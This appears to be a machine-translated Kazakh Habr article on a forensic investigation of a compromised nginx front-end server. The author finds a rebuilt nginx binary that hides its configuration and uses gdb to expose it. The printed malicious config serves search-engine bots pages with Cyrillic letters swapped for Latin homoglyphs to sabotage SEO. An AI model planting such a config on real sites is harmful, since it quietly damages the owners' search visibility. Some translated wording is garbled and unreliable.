'a' 'a' тең емес болғанда. Бұзылудан кейін

Достарымның бірімен өте жағымсыз оқиға болды. Бірақ бұл Михаил үшін қаншалықты жағымсыз болғанымен, мен үшін де сондай қызықты болды.

Менің досым өте жақсы деп айтуым керек UNIX-пайдаланушы: жүйені өзі орната алады MySQL, PHP және қарапайым параметрлерді жасаңыз nginx.
Ал оның құрылыс құралдарына арналған ондаған немесе бір жарым сайттары бар.

Шынжырлы араларға арналған осы сайттардың бірі іздеу жүйелерінің ТОП-ында берік орын алады. Бұл сайт коммерциялық емес шолушы, бірақ біреу оған шабуыл жасауды әдетке айналдырды. Бұл DDoS, сосын дөрекі күш қолданып, сосын ұятсыз пікірлер жазып, хостинг пен РКН-ға балағат сөздер жібереді.
Кенеттен бәрі тынышталды және бұл тыныштық жақсы емес болып шықты, сайт бірте-бірте іздеу нәтижелерінің жоғарғы жолдарын қалдыра бастады.

'a' 'a' тең емес болғанда. Бұзылудан кейін

Бұл сөз болды, содан кейін админнің әңгімесі.

Ұйқыға таяп қалғанда телефон шырылдады: «Сан, менің серверіме қарамайсың ба? Менің ойымша, мені бұзған сияқты, мен оны дәлелдей алмаймын, бірақ бұл сезім мені үшінші апта бойы қалдырған жоқ. Мүмкін менің паранойядан ем алатын кез келді ме?»

Одан кейін жарты сағаттық пікірталас болды, оны келесідей қорытындылауға болады:

  • бұзуға арналған топырақ өте құнарлы болды;
  • шабуылдаушы суперпайдаланушы құқықтарына ие болуы мүмкін;
  • шабуыл (егер ол орын алса) осы сайтқа арнайы бағытталған;
  • проблемалық аймақтар түзетілді және сіз жай ғана ену бар-жоғын түсінуіңіз керек;
  • бұзу сайт коды мен дерекқорға әсер ете алмады.

Соңғы нүктеге қатысты.

'a' 'a' тең емес болғанда. Бұзылудан кейін

Тек ақ фронталды IP әлемге қарайды. Http(лар)-дан басқа серверлер мен фронттер арасында алмасу жоқ, пайдаланушылар/парольдер әртүрлі, кілттер алмаспаған. Сұр мекенжайларда 80/443-тен басқа барлық порттар жабылады. Ақ серверлік IP мекенжайлары Михаил толығымен сенетін екі пайдаланушыға ғана белгілі.

Алдыңғы жағында орнатылған Debian 9 және қоңырау шалған кезде жүйе сыртқы желіаралық қалқан арқылы әлемнен оқшауланады және тоқтатылады.

«Жарайды, маған рұқсат беріңіз», мен ұйқыны бір сағатқа қалдыруды шештім. «Мен өз көзіммен көремін».

Мұнда және одан әрі:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Ықтимал бұзуды іздеуде

Мен серверді біріншіден бастаймын құтқару режимі. Мен дискілерді орнатып, оларды аударамын аутентификацияжурналдар, тарихы, жүйелік журналдар және т. .

Мен қалыпты режимде бастаймын, не іздеу керектігін әлі түсінбеймін, мен конфигурацияларды зерттеймін. Біріншіден, мені қызықтырады nginx өйткені, тұтастай алғанда, фронтенде одан басқа ештеңе жоқ.
Конфигурациялар шағын, ондаған файлдарға жақсы құрылымдалған, мен оларды қарап шығыңыз мысық'о бірінен соң бірі. Бәрі таза сияқты, бірақ бірдеңені жіберіп алғанымды білмейсің қамтиды, толық тізімді жасауға рұқсат етіңіз:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Мен түсінбедім: «Листинг қайда?»

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Листинг сұрағына екінші сұрақ қосылады: «Nginx-тің ежелгі нұсқасы неге сонша?»

Сонымен қатар, жүйе соңғы нұсқасы орнатылған деп есептейді:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Мен қоңырау шалып жатырмын:
- Миша, сен неге қайта жинадың nginx?
- Оян, мен мұны қалай істейтінімді де білмеймін!
-Жарайды, ұйықтай бер...

Nginx ол анық қайта құрылды және «-T» көмегімен листингтің шығуы белгілі бір себептермен жасырылады. Бұзушылыққа қатысты ешқандай күмән жоқ және сіз оны жай ғана қабылдай аласыз және (Миша серверді бәрібір жаңасына ауыстырғандықтан) мәселені шешілді деп санаңыз.

Шынында да, біреу құқықтарға ие болғандықтан түбір'ah, онда мұны істеу тек мағынасы бар жүйені қайта орнату, және ол жерде не болғанын іздеу бекер болды, бірақ бұл жолы қызығушылық ұйқыны жеңді. Олардың бізден нені жасырғысы келгенін қалай білуге ​​болады?

Бақылап көрейік:

$ strace nginx -T

Қарап тұрсақ, а ла ізінде сызықтар жеткіліксіз екені анық

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Тек көңіл көтеру үшін, қорытындыларды салыстырайық.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Мен кодтың бір бөлігі деп ойлаймын /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

пішінге келтірілді:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

немесе

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

сондықтан "-T" бойынша листинг көрсетілмейді.

Бірақ конфигурациямызды қалай көруге болады?

Менің ойым дұрыс болса және мәселе тек айнымалыда болса ngx_dump_config пайдаланып орнатуға тырысайық gdb, Бақытымызға орай, кілт бар --with-cc-opt -g бар және оңтайландыруға үміттенеміз -O2 бұл бізге зиян тигізбейді. Сонымен бірге, мен қалай екенін білмеймін ngx_dump_config ішінде өңдеуге болады 'T' жағдайы:, біз бұл блокты шақырмаймыз, бірақ оны пайдаланып орнатамыз 't' жағдайы:

Неліктен '-t' және '-T' қолдануға боладыБлокты өңдеу егер(ngx_dump_config) ішінде болады егер(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Әрине, егер код осы бөлікте емес, өзгертілсе 'T' жағдайы:, онда менің әдісім жұмыс істемейді.

nginx.conf файлын тексеріңізМәселені эксперименталды түрде шешкеннен кейін, зиянды бағдарламаның жұмыс істеуі үшін минималды конфигурация қажет екендігі анықталды nginx түрі:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Біз оны мақалада қысқаша болу үшін қолданамыз.

Түзеткішті іске қосыңыз

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Бірте-бірте:

  • функцияда тоқтау нүктесін орнатыңыз негізгі ()
  • бағдарламаны іске қосыңыз
  • конфигурацияның шығысын анықтайтын айнымалының мәнін өзгертіңіз ngx_dump_config=1
  • бағдарламаны жалғастыру/аяқтау

Көріп отырғанымыздай, нақты конфигурация біздікінен ерекшеленеді, біз одан паразиттік бөлікті таңдаймыз:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Мұнда не болып жатқанын ретімен қарастырайық.

Белгілі Пайдаланушы агентіyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Қызметтік беттер алынып тасталды WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Және жоғарыда аталған екі шартқа да ұшырағандар үшін

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

мәтінде HTML-беттер өзгереді 'O' туралы 'o' и 'A' туралы 'а':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Дұрыс, бір ғана нәзіктік сонда 'a' != 'a' сияқты 'o' != 'o':

'a' 'a' тең емес болғанда. Бұзылудан кейін

Осылайша, іздеу жүйесінің боттары әдеттегі 100% кириллица мәтінінің орнына латынмен сұйылтылған өзгертілген қоқысты алады. 'а' и 'o'. Мен мұның SEO-ге қалай әсер ететінін талқылауға батылым бармайды, бірақ мұндай әріптер жиынтығы іздеу нәтижелеріндегі позицияларға оң әсер етуі екіталай.

Не айтайын, қиялы бар жігіттер.

сілтемелер

GDB көмегімен жөндеу
gdb(1) — Linux пайдаланушы беті
strace(1) — Linux пайдаланушы беті
Nginx - ngx_http_sub_module модулі
Аралар, шынжырлар және электр аралар туралы

Ақпарат көзі: www.habr.com

пікір қалдыру